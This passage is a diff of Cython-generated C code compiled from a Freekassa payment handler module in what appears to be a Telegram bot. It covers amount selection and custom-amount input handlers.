__Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_14 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_7) > __pyx_t_14) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_7) : __pyx_t_14; + __pyx_t_13 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_7); + __Pyx_GIVEREF(__pyx_t_7); + PyTuple_SET_ITEM(__pyx_t_10, 1, __pyx_t_7); + __pyx_t_7 = 0; + __Pyx_INCREF(__pyx_kp_u__15); + __pyx_t_14 = (65535 > __pyx_t_14) ? 65535 : __pyx_t_14; + __pyx_t_13 += 51; + __Pyx_GIVEREF(__pyx_kp_u__15); + PyTuple_SET_ITEM(__pyx_t_10, 2, __pyx_kp_u__15); + __pyx_t_7 = __Pyx_PyUnicode_Join(__pyx_t_10, 3, __pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + + /* "handlers/payments/freekassa_pay.py":157 + * ) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * f" {amount} . :", + * reply_markup=confirm_keyboard, + */ + __pyx_t_10 = PyTuple_New(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 157, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_GIVEREF(__pyx_t_7); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_t_7)) __PYX_ERR(0, 157, __pyx_L1_error); + __pyx_t_7 = 0; + + /* "handlers/payments/freekassa_pay.py":159 + * await callback_query.message.answer( + * f" {amount} . :", + * reply_markup=confirm_keyboard, # <<<<<<<<<<<<<< + * ) + * else: + */ + __pyx_t_7 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 159, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 159, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":157 + * ) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * f" {amount} . :", + * reply_markup=confirm_keyboard, + */ + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_10, __pyx_t_7); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 157, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L15_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 157, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 157, __pyx_L1_error) + } + } + + /* "handlers/payments/freekassa_pay.py":145 + * ) + * + * if payment_url: # <<<<<<<<<<<<<< + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ + */ + goto __pyx_L14; + } + + /* "handlers/payments/freekassa_pay.py":162 + * ) + * else: + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * " . .", + * ) + */ + /*else*/ { + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_answer); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __pyx_t_7 = NULL; + __pyx_t_11 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_10))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_10); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_10); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_10, function); + __pyx_t_11 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, __pyx_kp_u__16}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_10, __pyx_callargs+1-__pyx_t_11, 1+__pyx_t_11); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L16_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 162, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 162, __pyx_L1_error) + } + } + } + __pyx_L14:; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/freekassa_pay.py":127 + * + * + * @router.callback_query(F.data.startswith("freekassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_AddTraceback("process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_16generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/freekassa_pay.py":167 + * + * + * @router.callback_query(F.data == "enter_custom_amount_freekassa") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_15process_enter_custom_amount(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13freekassa_pay_15process_enter_custom_amount = {"process_enter_custom_amount", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13freekassa_pay_15process_enter_custom_amount, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_15process_enter_custom_amount(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_enter_custom_amount (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 167, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 167, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, 1); __PYX_ERR(0, 167, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_enter_custom_amount") < 0)) __PYX_ERR(0, 167, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 167, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.freekassa_pay.process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13freekassa_pay_14process_enter_custom_amount(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_14process_enter_custom_amount(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_enter_custom_amount", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount *)__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount(__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 167, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13freekassa_pay_16generator4, __pyx_codeobj__17, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_handlers_payments_freekassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.freekassa_pay.process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_16generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + unsigned int __pyx_t_5; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_enter_custom_amount", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L4_resume_from_await; + case 2: goto __pyx_L5_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 167, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":171 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * await callback_query.message.answer(text=" :") # <<<<<<<<<<<<<< + * await state.set_state(ReplenishBalanceState.entering_custom_amount_freekassa) + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u__18) < 0) __PYX_ERR(0, 171, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L4_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 171, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 171, __pyx_L1_error) + } + } + + /* "handlers/payments/freekassa_pay.py":172 + * ): + * await callback_query.message.answer(text=" :") + * await state.set_state(ReplenishBalanceState.entering_custom_amount_freekassa) # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 172, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 172, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_entering_custom_amount_freekassa); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 172, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_4}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 172, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L5_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 172, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 172, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/freekassa_pay.py":167 + * + * + * @router.callback_query(F.data == "enter_custom_amount_freekassa") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_AddTraceback("process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_19generator5(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/freekassa_pay.py":175 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_freekassa) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_18process_custom_amount_input(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13freekassa_pay_18process_custom_amount_input = {"process_custom_amount_input", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13freekassa_pay_18process_custom_amount_input, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_18process_custom_amount_input(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_message = 0; + CYTHON_UNUSED PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_custom_amount_input (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_message,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_message)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 175, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 175, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, 1); __PYX_ERR(0, 175, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_custom_amount_input") < 0)) __PYX_ERR(0, 175, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_message = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 175, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.freekassa_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13freekassa_pay_17process_custom_amount_input(__pyx_self, __pyx_v_message, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_17process_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message, CYTHON_UNUSED PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_custom_amount_input", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input 